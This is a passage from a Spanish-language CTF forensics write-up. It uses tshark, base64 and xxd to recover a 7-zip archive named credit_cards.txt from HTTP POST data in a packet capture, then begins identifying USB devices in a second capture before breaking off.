kgRUQgMEQgRUMgRUYgQjQgQzEgRDYgMjggNjYgMDIgNTAgMjEgOEQgNUUgNzYgMDcgMkQgNDMgOTYgRDEgQUIgMjMgNzUgQTcgRjAgOUEgNDAgNUIgNjggNEIgRDAgMUUgRTUgMzAgMzUgNzIgMDMgNDEgOUMgQTAgQUQgMjggMTEgNTAgRjggQkUgREEgRTIgODQgNTEgRDAgQjEgMDIgMEUgM0UgMjcgQzMgNzEgRDcgRUYgM0UgMzcgRTQgNjkgQUEgNEYgMkMgNTQgOUUgOEMgNDggNjEgMUIgNjggODUgMTEgRkMgQ0YgNDQgNEUgOEMgNzIgNUQgNTAgQzMgMDIgMUYgMjQgOUYgOEYgNzIgMDcgNzEgNzAgQTYgQUYgNkEgQjcgNUIgQzEgRUQgMjIgQzggQjMgM0QgNDQgM0MgRDMgMjQgRUQgNzYgMTQgREEgMzggQkMgMDAgMDEgMDQgMDYgMDAgMDEgMDkgOEYgNTggMDAgMDcgMEIgMDEgMDAgMDEgMjEgMjEgMDEgMDUgMEMgQzAgQjkgNEIgMDAgMDggMEEgMDEgRDEgQTUgQzAgNjIgMDAgMDAgMDUgMDEgMTkgMDkgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMTEgMjMgMDAgNjMgMDAgNzIgMDAgNjUgMDAgNjQgMDAgNjkgMDAgNzQgMDAgNUYgMDAgNjMgMDAgNjEgMDAgNzIgMDAgNjQgMDAgNzMgMDAgMkUgMDAgNzQgMDAgNzggMDAgNzQgMDAgMDAgMDAgMTkgMDAgMTQgMEEgMDEgMDAgOUIgMkQgQTIgQ0YgQUMgODEgRDQgMDEgMTUgMDYgMDEgMDAgMjAgMDAgMDAgMDAgMDAgMDA
</span></span></code></pre></div><p>Ahora decodificaremos este base64, y tendremos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura.pcap -Y &#39;http.request.method == &#34;POST&#34;&#39; -T fields -e urlencoded-form.key | sed &#39;s/$/=/&#39; | base64 -d
</span></span><span style="display:flex;"><span>37 7A BC AF 27 1C 00 04 65 3D 77 8C 58 0F 00 00 00 00 00 00 6A 00 00 00 00 00 00 00 8D 46 FF B9 E0 4B B8 0F 50 5D 00 26 12 47 11 A8 C4 08 54 31 26 03 05 75 04 C1 61 43 15 8A 40 6B 01 72 B8 57 7B 9B 53 F0 35 34 A1 6F F0 17 8F 7C F2 1A 7B B4 05 21 AD 02 60 CA 9B 44 CB 5F 59 74 6C E6 12 7C 8D 34 4B 6E A4 5A 79 7F 52 4D D0 0D 04 BD 61 11 FC 2B E2 76 84 DC 09 26 5C 66 AC 50 27 D7 C1 F3 C8 30 9D A0 1A E9 80 82 ED 54 5C 92 D0 E9 4E 53 FE D4 8B 85 24 CE EA 45 4D A6 D1 A1 32 BA 25 C5 75 2B EC 97 14 6D 63 73 F5 60 59 73 3B 9E 65 CF E3 8C 47 FC 62 AF 4E 72 C4 2D 1C C8 62 FF 6D C6 59 FE 95 DB CD 00 16 47 37 90 7B FF 4F 42 BC 5D 1F 2A C7 F7 06 58 1F D8 15 D6 06 79 A5 F5 D6 B3 D4 DD 7B E0 8E CA EB 77 70 9C 30 8A 64 99 52 50 E8 83 55 BB CA 01 FA 73 CC EB 58 16 68 D1 58 56 BC 1A 42 D3 2A A4 D1 62 50 7B 12 2C FF 30 48 B2 C4 AD A1 7C 83 F3 7A E7 60 C2 3F 3B D6 1C B0 73 31 DF E2 06 5C 37 A0 32 0D FE 5E F3 1E D4 6E F5 FE 25 A3 38 70 5D 15 96 C6 6E 78 31 67 C9 90 CF 5C D1 4E 2F E2 BE 38 0E 37 07 F2 B3 40 C6 3F B2 41 6A 4F 16 5A 61 A1 51 64 3F 4F 04 93 7B 1D F8 20 DA 47 C8 DF F2 F0 28 0E D3 B6 7F E9 CC 50 68 A5 45 68 30 09 AF 7A F2 CB CF 16 72 31 8C 08 96 4F 34 9F 82 8A 80 7D 95 3F 50 22 02 BF 50 91 C7 69 0D BF AC 27 33 2F C2 78 77 5D 6A 5A 77 C3 50 9F 78 57 1A 57 A4 86 10 31 B2 20 A1 29 3B 74 5E 17 E6 D1 E2 BD 51 7D 0F 87 B6 2F A9 93 23 0B 87 C5 82 8D 7C 0F FA DA 43 1F 08 09 8C F8 66 20 6D 48 F0 62 CD 02 5E D2 1F 10 51 F7 4F 4F 64 03 B8 62 15 C0 BF 96 E5 B7 AA 29 3A 15 3F C0 39 89 50 22 B7 4E AE 9A FB CA 83 FE 97 DC 37 EE A5 B3 05 EF DA D2 BE D8 6B 02 B4 FE 47 DE EA 52 30 CD BB 22 98 81 A5 15 A2 FF 30 58 D3 71 8B 10 D3 51 07 DF F6 73 04 EA 59 03 7F DB BE DE 18 F2 12 0B D2 17 2A 9C 81 57 12 CE 61 1F FA E3 77 14 AC DD EE 03 F9 50 19 9F A9 0A 2F BC 20 1E B9 71 04 80 B7 9E 7D A8 F0 3B E8 D0 B8 09 7A 19 AF 3E A4 E8 D9 E2 4B FA 60 EE 82 A4 A2 A6 A1 28 D7 3B 9B E4 70 E6 6D BF 86 D3 E3 E2 DA B5 AB 52 DC F5 41 3D 91 D7 3A 53 FF 54 24 D4 72 6D BD 23 53 9D CC C1 B1 03 54 C9 BC 60 8C 44 D3 59 86 6F 83 E6 42 FB 56 07 3C CD CF C3 ED 86 74 A7 F4 61 25 6A F6 23 58 78 50 09 50 4D 70 BC 6A 9A F0 31 DC 56 26 E5 A1 7F 7E E4 BA 97 18 E6 F3 53 E3 8C 6E 43 25 56 4E 85 DB 9C AF 1C 56 31 8B 32 F3 EA F9 95 34 CB FE 4D 4B E3 3A 06 47 76 CA DE 43 23 BE 9C 7F 66 89 C4 B2 B5 7B 07 B5 F5 FB 58 C7 82 37 02 F7 08 4F E0 11 B5 03 50 0F 9B 7D 19 58 A6 D6 67 06 49 7A 19 42 E2 37 A5 F1 E8 8D 45 75 27 86 C4 E2 3B 8E B3 5A 71 31 78 93 D2 D1 42 2F B6 83 74 C8 55 32 66 93 C9 2F BE CF 8A 37 4B 4B 5F 37 D5 7D 03 6E AA 72 86 4F 35 01 E8 E7 DF CB 65 9C 2A 5A FA F7 C5 8D 64 64 56 A4 42 20 DA A8 2E EB 63 87 8C E6 38 AE EC B1 42 51 34 19 57 C5 BE 57 A7 7B 8B E9 38 F6 B5 A7 4D F6 37 D0 D9 E6 4B F8 F2 B1 7D 57 2E 22 52 A5 6F A7 0D AB 3C E8 ED EA F9 60 03 C5 D1 49 84 65 9A A3 91 94 F1 B3 FD 0B B4 A8 EA 9F 6F 0C 24 18 99 47 6C 78 2F E3 0B EA EA 2E 84 52 61 94 4B 8B A9 86 FF 3B 94 43 4E CA 8D 38 E4 AD 3F 2D E5 AE 40 BF D9 AA 36 05 0F 03 1C 49 81 36 EF 6F E0 2B 6C 29 41 D0 8C 5F 9D 24 91 84 BE EC 8C 70 FC 48 55 C0 C0 EB B6 78 96 34 BD D4 65 A1 F2 28 D5 0D 0F 9B E3 88 A9 85 DD 99 D2 6C C9 F4 76 C6 2C DF B8 1B 9B 0B 83 30 8E 7A 12 88 42 7B 9F B4 24 E0 30 1C BD D5 1B A8 09 A5 1E 38 15 55 CE 89 EA 28 1A 68 8E 5D C8 14 88 14 11 A4 E8 8F B0 07 72 1B 9F 9B 3F 8C 71 47 FF C9 00 4A B5 DD ED 6C 94 7B 48 2F D3 B4 BF CE A0 84 51 90 95 33 16 98 D2 87 8B 7F C3 85 C3 78 F5 3B 6D 2D BD 31 6E BF 66 33 C9 A1 62 A7 F6 FD 15 BB 5B 9A FE 09 41 DF 25 93 DA 28 80 C2 CC 10 47 A4 E9 8F 36 D9 1C 48 4F D9 37 C5 86 AF 57 A0 97 E2 26 E7 F3 CA A3 B8 CD 52 70 1B A3 51 35 83 C1 C7 EF 6F C7 95 84 31 F9 CE 26 52 28 4E 49 3B 16 D1 97 20 C0 5A B5 B1 8D 39 2E E2 66 10 95 D4 AE AB CF 46 E2 E7 5E 05 EC B6 D0 CB 6D E8 B3 E1 A1 A2 16 8B D3 C3 0C 13 B7 68 96 F0 00 66 C8 5C A9 9C BE B5 35 0F 2D 44 5A C7 2C 28 92 CF F9 CC 0F 82 1F 91 37 A6 12 8B 73 24 2D 0A B0 90 15 22 9E F3 2C FB 59 05 87 47 01 6B 93 8D C1 1B 83 7F AD B3 D9 4D DB 38 B7 59 E3 8D 79 19 77 35 72 93 E8 AB E1 F2 E9 50 AA B4 53 D3 68 F3 B4 58 34 85 A9 1B E0 86 8B 12 34 5B 12 00 7E 10 6B D9 60 BA F0 2C 43 52 99 58 03 9B 16 23 D7 3A D7 5B CD 9A C8 6E 60 A5 5F 7B F6 99 21 09 BB D0 D8 50 AA EB 61 9C B9 1F D7 0B 7B F8 DC CD 35 17 81 69 E8 96 C9 67 8C 7A 6D 96 F0 88 6A F2 F7 46 E0 35 F8 FD AF 1E 3F 41 4A 08 79 D8 9A 08 26 F9 69 8E 61 DA C4 A2 3D 49 7E 48 AD 20 4C 76 C8 D4 9D 9E 46 07 AC D6 D3 40 34 7B F9 82 E8 27 E1 BE 1F F0 E0 7A B6 E1 2B B3 98 03 8D 97 65 04 4A CB F8 CB 6B 6A A9 59 A6 12 87 07 00 89 FF 51 6D F6 3C 92 4B EE 81 F7 36 6D 1B 1D 00 CD 62 B6 2D 7B BF 80 2B 52 0A A1 FE 0B 98 DC 39 87 71 F8 44 DC 56 BF 4A D9 0F CA 78 6A E7 F0 9D 49 4D 07 36 C4 4D F9 F6 3A FA EA F4 19 4E 09 4D 09 09 5D 2F C4 B9 FE 4F F2 D8 B2 1F E1 51 0C 7B CB 1E E3 59 6F 1A BB D9 87 9A 88 18 37 0E EC 72 6F 07 DF 10 C5 C1 EF BB 8F 42 65 63 AC 34 FE C7 1D FF 81 72 2F D5 36 E7 8E 39 04 C0 07 13 F8 43 F5 F1 D2 0C E1 4E 7B 81 D8 4C EA 47 51 7B B6 47 C5 D9 B2 7B E8 82 CD 3B 57 33 BE BC 94 90 22 9F 86 13 43 17 BE EE 7D 9E F9 AE BF 3C 11 F1 45 CE 3D 7D 0D 05 9D AE 4D 12 89 71 77 FF 70 8B A9 A9 4D A8 ED EB B7 ED 10 01 0E CB FE 20 BA 12 EE 61 20 72 86 6A B6 BA 9B A7 43 72 CE 8E C7 E1 1E CD F9 18 F6 3E 66 8B 05 61 8B FF 12 6F 35 25 E0 CE B6 F9 32 AE 5B B3 2E C1 AF AE 8C 07 FA B6 CB 1A 92 0D 72 2E 38 4D 10 B7 9C 29 B0 71 71 EB 71 C6 09 C1 23 BB DF DD A3 D8 AE 98 47 8E CC 28 E6 89 5A 5D 8C 46 FD FF EE CC 41 8A 2E 8B EA 2D 99 43 68 E4 1C 63 84 0E BA B0 5A 6E 3C C4 F3 49 76 33 C4 B3 97 0C F3 3B A4 2A EB 1B 9D A2 49 A3 DB 2F 42 F7 5F 1B BF 5B 10 95 96 64 76 E0 2D 50 84 6F D8 AE EA 29 47 BC 00 F0 80 43 A0 1C CC C3 D9 C9 78 7E FC E0 89 86 7D 0C 1C 47 4D 9F 95 94 1B E6 59 40 24 75 DE AD DD AF 84 81 89 60 CC 85 DF 99 15 80 25 16 C3 12 5B 32 68 4F 0F 24 AD 98 D0 67 24 66 B5 CA 5B 87 2A 50 2C 40 25 62 E3 40 26 66 EE 2D 39 E0 B4 FD FC 4D 83 90 20 FA 43 DF 72 97 C7 01 52 88 9E D4 5F 55 19 C0 1B 4F B6 7C 38 C8 09 F3 EC 8A 7C 12 C3 8C A7 77 12 E6 83 7E 83 A8 3E 3E D4 BE C9 C0 33 08 0F 54 E0 1F 32 92 DA 8B 50 AC D9 01 35 FA 51 D0 43 BC 26 29 60 FE D9 E9 86 F9 3A FF 6C 2A 39 FB 13 0E B5 44 23 39 66 45 D9 B8 AF DA 3B C3 E0 E0 B2 4C B1 A1 82 5A E1 25 51 D8 86 5B 17 92 C3 DA 24 77 14 8F 1F B0 AE EE 07 57 CE 31 D1 B0 D1 A8 44 97 D0 FF EB E1 22 04 4E 87 FB DC D0 1D 65 FB D2 C9 EE B1 63 97 B1 7A CD 31 22 DE 95 AB 5C C8 34 56 D4 B3 F2 BE B0 B3 7E 88 AC 32 D8 A0 FA F8 7D 25 86 94 C2 27 37 0E 09 C1 0B 28 0E 66 99 6A E3 67 82 46 47 C1 D3 A5 5B FA 70 44 1F CC 08 B4 A1 8A C4 B4 F9 63 00 63 77 5C EE A4 48 2B C7 39 1E 9C 06 CB 9A 25 B2 3C 4B 6D CB 4C 04 30 CD 4A 56 05 7B 61 C2 67 B4 2A E8 D3 42 D5 62 D5 9C FC 68 4D 65 97 19 19 0E 38 C2 4E 07 2F 26 D0 92 B5 50 F5 02 8E DD DE 74 7F CC D7 19 4A D2 71 81 8C A8 1A 27 B4 44 BF 0E 25 40 5A 47 C2 B5 56 41 7B E3 3F 59 43 B7 FB 04 AB B6 6B C9 6A 14 B5 E6 9D 5A 97 9D 8A 20 6E 6C 8D DB B8 E6 DD 7B D3 88 00 29 37 53 8C 4B 0A 80 1A BA 59 F1 E5 AE EF A3 F7 BA FF ED BD 9B 9A 73 2D 4A 13 22 C6 D2 EC AF 73 60 F7 DB F1 CB 1A 50 12 81 7F 3E A8 47 C7 48 1B 69 B9 72 F5 BC B4 D7 9A C7 37 72 7C ED 54 6D 97 A4 EF 1F 69 C8 20 0E 3B 8A CA 59 24 94 A7 46 7F 9F B5 AA 71 6E A2 85 5F 49 BC 26 31 BC BB 69 B1 FE F0 66 20 DE FB 5B 1C A3 EC FF 68 CD E0 36 65 62 57 EA 3C DB B4 A9 89 72 5E F8 DE 33 B3 02 55 BA 61 DC 1D E9 44 0F 82 76 AC 80 53 9B CC 8D 84 3C 23 89 E6 3E 60 8E E6 DA E8 CF 2F AF 36 DF A6 5B 0E A9 25 7F 85 58 4B 6A 0C 93 04 13 C4 69 36 2E 68 A5 22 A7 1C 01 21 2F F9 5B CC D3 41 B1 F3 5E F8 5E 88 8C EB 5B 5C D0 74 42 D2 84 CA B1 79 36 5D A3 EB 52 A1 B6 67 B9 F5 5F 27 3E 0F BA 5B 4E FC C8 34 1A BA AE AC 10 37 C3 4C CD 99 8F 37 EB 98 6F C3 BD 00 2B 29 88 F8 81 15 C6 72 E4 97 83 9C D8 58 9B 47 C1 54 44 60 64 E4 22 08 6B 80 FE A9 1B 0C 0E 3C 5C FF 42 D5 0A C8 0B F3 17 55 A8 33 22 63 79 0D 1A 80 47 B3 14 66 F3 65 71 47 45 15 5F 87 0E 74 07 36 F5 A8 D6 68 A7 B8 28 8B 0F 25 C9 BA 6C FC D2 80 C8 16 72 B3 0E 21 F8 FD FC 8B BF 00 06 51 36 27 77 30 A5 DC C1 E7 46 22 CA 1D 28 9C 36 22 CB 33 57 E3 E0 32 1B 33 DD 04 23 8D 9F A6 92 AA C3 B2 00 60 62 52 F9 1E 14 16 E3 13 77 46 FE 8A F0 2D 9C B8 89 E7 9D 3A 09 13 C5 08 A8 2A 61 BB AF A9 44 3E B0 56 16 0A F8 9F 52 FC E5 FE C7 92 7B 4D AA 3C E7 0B F2 58 AA EC 4D 8D E5 7B D2 67 F0 83 4F 08 F3 E7 B4 4C 8B 84 93 6A B6 F7 52 90 A5 F7 9D 59 AB 26 F7 B0 26 D6 46 E9 4D F7 FF 88 23 EC BC 2A 36 D5 8D 4D A4 D9 74 93 CC EF D4 F3 5B 13 85 44 0E 21 EB D9 26 85 1B 89 46 E3 26 50 C7 50 CF FB 42 21 E3 85 2C 45 0F 8C EC 8F 6F 41 F0 7C C7 BB 0C 0A 68 13 F1 44 E7 9C 4E CA 55 41 DF 40 7C F6 12 85 19 34 C1 A9 75 BF B0 8F 72 D6 86 A3 63 67 68 6B 3C DA BC 59 BD 3B 0C B4 49 67 FF 08 FA D0 A3 96 9A 47 EB FB 69 24 9D E3 28 13 A9 24 67 AA 90 C7 44 B4 31 6D 45 EC 25 02 C4 62 73 2F FA 47 28 BF C0 28 BB 5B 40 57 7B 94 C8 C0 8F D5 51 C7 82 A5 A4 21 57 67 4C 94 78 26 DC B7 C4 A5 6F B8 11 B5 12 77 46 6D 58 12 13 53 19 9B 36 6B 13 00 A1 2C E1 8C 15 86 2F 53 9A 14 40 AA 80 20 B4 26 9F E8 1D E1 37 7D FF B0 7E DF FE BF 3F 6E 69 21 17 E1 54 AB 52 3E F2 3F 63 4C 24 A9 C4 1E 1E 9E 61 17 3B F8 28 38 D5 F6 CD 44 39 C4 E7 51 67 E9 6D 19 76 C2 62 A3 98 EA 4B 03 FE 7B 0D 08 61 D0 74 83 30 8B B8 1D 45 7A 60 0C 47 67 79 99 93 69 30 85 0F 52 AD AA 20 BF 63 39 D5 CA 5E 57 03 2E 1E 90 60 A7 33 6B 32 19 5F EA 01 71 CF 20 78 9A 5F B4 A8 9F 45 A3 0C 33 24 83 2F B6 DF FD 5B 63 53 FE 23 D5 C2 72 11 FE 26 AC 0A 8E 5D 3C 33 57 09 2A F9 90 BB 1D DF 16 2A DC 6B F3 3B 85 42 96 F9 CA D9 75 DC B1 5C BE 89 51 51 E4 CB B8 22 40 92 FF 06 D4 68 86 A0 7D FA 9C 4D 8D 26 DF AD 11 2C B0 60 F8 5A BE F1 44 5E 9C 28 7A 2A 72 CE EC BA 20 1B D4 90 65 CA C7 C4 09 EB E1 C6 0B B3 55 98 D9 EA 2A AA EF E6 64 E9 83 2B 4F C2 23 E2 3B 69 62 F2 39 8B 0E 26 F7 C9 95 D2 B1 01 8D C9 AA CC 98 05 47 25 7A 68 9D ED F5 99 31 FA 5A D1 CF B9 DD 6E 9F DD 51 3D B5 CC FB 6B 02 9D E1 19 45 2B 3A D9 14 DB 37 5C 38 4F 37 D6 77 60 7D B0 93 4B 45 F4 9C A6 C4 D3 7F 67 CF E8 30 86 79 A5 BD 2E 1C 43 A0 03 46 44 E6 6B 95 84 A0 65 3F D3 89 D7 7A 03 6A CA 9A 8F 51 20 7F 5F FC E9 61 05 8E 98 D3 FD CF 37 84 FE EC 19 7E 41 B4 ED 1C 9E 99 33 2E E9 9F 88 A1 EC FD 29 8D 43 D7 45 CD 74 4A 0F 3E F9 46 B2 13 4F 1C 84 14 07 82 B7 ED 3C 59 49 2C D1 17 74 B0 64 B4 69 75 20 4C 22 12 79 54 58 75 6F 8A 5C F7 A6 70 86 CD 00 62 14 B7 8E 31 02 8F 77 13 B6 45 C0 9E BD 58 EE 03 B9 8E 58 3D 68 3C 34 4C 51 FC 4A 3A F8 F6 0A 19 6C CE F1 00 15 6F A9 D8 10 EC 1D 2D 86 D3 1E 0B 0A 4F 17 83 A2 47 09 7C D5 FD 19 AA 9E 01 2E E3 94 4E 1C 8C D4 5E 1E FA 7D 03 9C 79 DA 35 CA A5 42 C7 50 FD E6 2A 24 01 83 E7 9F E7 B4 D4 AC 11 17 5E AD 57 56 08 79 64 DD C4 A7 FE 89 7F 59 CF 0B 08 BB C1 7C 79 67 24 A0 C6 9F 1E EA 8D 65 91 C6 F9 C8 A5 D6 51 8A 44 DA BD 43 23 4D 6C 4C 3E F3 1A 1E 7A 21 A1 50 BB F0 A8 FA C8 FA 28 35 3E 0A 6F FC 9C CB 35 18 E8 B9 49 D3 BE 8B DB 74 DD E6 A1 04 FF CB 88 09 6E 9C 97 79 A9 A9 B5 18 46 30 B6 FE 68 CB 82 98 FB AB 72 2A F9 42 18 1E 70 21 0A F7 30 8F 08 80 84 E4 1A 8F 80 49 8F 21 5C 8C DB A6 CD F9 A8 90 06 79 67 44 83 D3 B7 A7 7B 25 75 91 A6 D6 30 E6 8C 6C CD 47 09 2B 11 C6 C7 21 7E 87 A3 7F 43 03 35 5E 14 38 F9 2A 9A A9 88 EF 3C C2 2C 82 4C FA 6C 07 DE 2A AA 8A C7 64 D0 E2 E0 76 7F 7A 6F 91 DE 62 F6 64 96 79 78 83 15 B2 FE 44 08 EB 14 6A D3 39 6C 0C D5 D9 6E 67 E1 50 9B 1D CF D0 1A 30 0E A7 8D 18 5D 6C 08 0E E6 C6 D8 FD D9 26 27 3B 84 EF D7 59 BD 74 EA 48 03 06 A6 23 A9 29 BC C4 BC AF 08 84 A6 D0 B6 25 97 66 11 CC 67 62 34 87 9E 83 F0 0C A9 1A B9 50 93 7A 27 2F B9 EF FF 39 56 5A 3D CA 1B 7D AB D4 B3 D5 59 AE FA 17 6B A7 B1 0B 65 93 88 60 81 DC 69 18 2F 81 D4 7D 91 A5 75 51 10 75 0B 2F 05 B1 EC D8 83 40 05 0E C5 A2 F9 79 82 85 B8 99 3C 08 61 D9 79 14 A0 0D 6F 34 B8 05 3D 4D 32 8D 8F 98 8E 5C 7F BC B7 69 AB 49 C5 B1 B0 44 39 E3 2A D1 40 F0 7B A0 C5 A8 D3 69 A9 02 CB 51 DC F1 65 23 B5 8E 86 FD 09 39 ED 0D EC EF B4 C1 D6 28 66 02 50 21 8D 5E 76 07 2D 43 96 D1 AB 23 75 A7 F0 9A 40 5B 68 4B D0 1E E5 30 35 72 03 41 9C A0 AD 28 11 50 F8 BE DA E2 84 51 D0 B1 02 0E 3E 27 C3 71 D7 EF 3E 37 E4 69 AA 4F 2C 54 9E 8C 48 61 1B 68 85 11 FC CF 44 4E 8C 72 5D 50 C3 02 1F 24 9F 8F 72 07 71 70 A6 AF 6A B7 5B C1 ED 22 C8 B3 3D 44 3C D3 24 ED 76 14 DA 38 BC 00 01 04 06 00 01 09 8F 58 00 07 0B 01 00 01 21 21 01 05 0C C0 B9 4B 00 08 0A 01 D1 A5 C0 62 00 00 05 01 19 09 00 00 00 00 00 00 00 00 00 11 23 00 63 00 72 00 65 00 64 00 69 00 74 00 5F 00 63 00 61 00 72 00 64 00 73 00 2E 00 74 00 78 00 74 00 00 00 19 00 14 0A 01 00 9B 2D A2 CF AC 81 D4 01 15 06 01 00 20 00 00 00 00 00
</span></span></code></pre></div><p>Convertimos esta salida de b64 a una mas manejaba hexadecimal, y simultáneamente convertimos el hex a binario.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura.pcap -Y &#39;http.request.method == &#34;POST&#34;&#39; -T fields -e urlencoded-form.key | sed &#39;s/$/=/&#39; &gt; pcap-payload.b64
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ base64 -d pcap-payload.b64 | tr -d &#39; &#39; | xxd -ps -r | file -
</span></span><span style="display:flex;"><span>/dev/stdin: 7-zip archive data, version 0.4
</span></span></code></pre></div><p>Vemos que la salida es un archivo 7zip, por lo que guardamos el archivo y lo descomprimimos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ base64 -d pcap-payload.b64 | tr -d &#39; &#39; | xxd -ps -r &gt; pcap-payload.7z
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ 7z l pcap-payload.7z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz (40651),ASM,AES-NI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 4066 bytes (4 KiB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Listing archive: pcap-payload.7z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = pcap-payload.7z
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>Physical Size = 4066
</span></span><span style="display:flex;"><span>Headers Size = 138
</span></span><span style="display:flex;"><span>Method = LZMA2:24k
</span></span><span style="display:flex;"><span>Solid = -
</span></span><span style="display:flex;"><span>Blocks = 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Date      Time    Attr         Size   Compressed  Name
</span></span><span style="display:flex;"><span>------------------- ----- ------------ ------------  ------------------------
</span></span><span style="display:flex;"><span>2018-11-21 09:13:51 ....A        19385         3928  credit_cards.txt
</span></span><span style="display:flex;"><span>------------------- ----- ------------ ------------  ------------------------
</span></span><span style="display:flex;"><span>2018-11-21 09:13:51              19385         3928  1 files
</span></span></code></pre></div><p>Y ya, tenemos el archivo filtrado.</p>
<h3 id="flag-7">Flag</h3>
<p>flag{credit_cards.txt}</p>
<h2 id="pcap2-300pts">Pcap2 (300pts)</h2>
<p>No network traffic</p>
<p><a href="https://drive.google.com/open?id=1ffbK_z9I_TiR1zQqGmXFNr-kYfFiy1kO">https://drive.google.com/open?id=1ffbK_z9I_TiR1zQqGmXFNr-kYfFiy1kO</a></p>
<p>SHA256 - captura2.pcap:3d6c080d8d0a7dfeb36af32298fc3655fce17af0b6655bdd83a301c4fbbf9cfb</p>
<hr>
<h3 id="solution-8">Solution</h3>
<p>Comenzamos por identificar el contenido del pcap, el cual rápidamente nos damos cuenta que se trata de una captura de un puerto USB:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura2.pcap | head
</span></span><span style="display:flex;"><span>    1   0.000000         host → 1.8.0        USB 64 GET DESCRIPTOR Request DEVICE
</span></span><span style="display:flex;"><span>    2   0.000484        1.8.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>    3   0.000511         host → 1.7.0        USB 64 GET DESCRIPTOR Request DEVICE
</span></span><span style="display:flex;"><span>    4   0.001265        1.7.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>    5   0.001292         host → 1.1.0        USBHUB 64 GET_STATUS Request     [Port 7]
</span></span><span style="display:flex;"><span>    6   0.001300        1.1.0 → host         USBHUB 68 GET_STATUS Response    [Port 7]
</span></span><span style="display:flex;"><span>    7   0.001303         host → 1.1.0        USBHUB 64 CLEAR_FEATURE Request  [Port 7: PORT_SUSPEND]
</span></span><span style="display:flex;"><span>    8   0.001326        1.1.1 → host         USB 66 URB_INTERRUPT in
</span></span><span style="display:flex;"><span>    9   0.001330         host → 1.1.1        USB 64 URB_INTERRUPT in
</span></span><span style="display:flex;"><span>   10   0.047326        1.1.0 → host         USBHUB 64 CLEAR_FEATURE Response [Port 7: PORT_SUSPEND]
</span></span><span style="display:flex;"><span>tshark: An error occurred while printing packets: Tubería rota.
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura2.pcap | grep &#34;DESCRIPTOR Response&#34;
</span></span><span style="display:flex;"><span>    2   0.000484        1.8.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>    4   0.001265        1.7.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   24   0.115753        1.4.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   26   0.116688        1.3.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   28   0.116751        1.2.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   30   0.116789        1.1.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura2.pcap -Y &#34;usb.idProduct&#34;
</span></span><span style="display:flex;"><span>    2   0.000484        1.8.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>    4   0.001265        1.7.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   24   0.115753        1.4.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   26   0.116688        1.3.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   28   0.116751        1.2.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span><span style="display:flex;"><span>   30   0.116789        1.1.0 → host         USB 82 GET DESCRIPTOR Response DEVICE
</span></span></code></pre></div><p>Como podemos ver, tenemos varios devices conectados por usb, identifiquemos que tipo de dispositivos son:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ for PIDS in $(tshark -r captura2.pcap -Y &#34;usb.idProduct&#34; -T fields -E header=n -E quote=d -e usb.idProduct | tr -d &#39;&#34;&#39; | sed &#39;s/0x0000//&#39;); do http http://www.linux-usb.org/usb.ids | grep ${PIDS}; done
</span></span><span style="display:flex;"><span>        c077  M105 Optical Mouse
</span></span><span style="display:flex;"><span>        c31c  Keyboard K120
</span></span><span style="display:flex;"><span>        c31c  Composite Device
</span></span><span style="display:flex;"><span>        037c  VistaScan Astra 3600(ENG)
</span></span><span style="display:flex;"><span>        037c  ADS-2000e
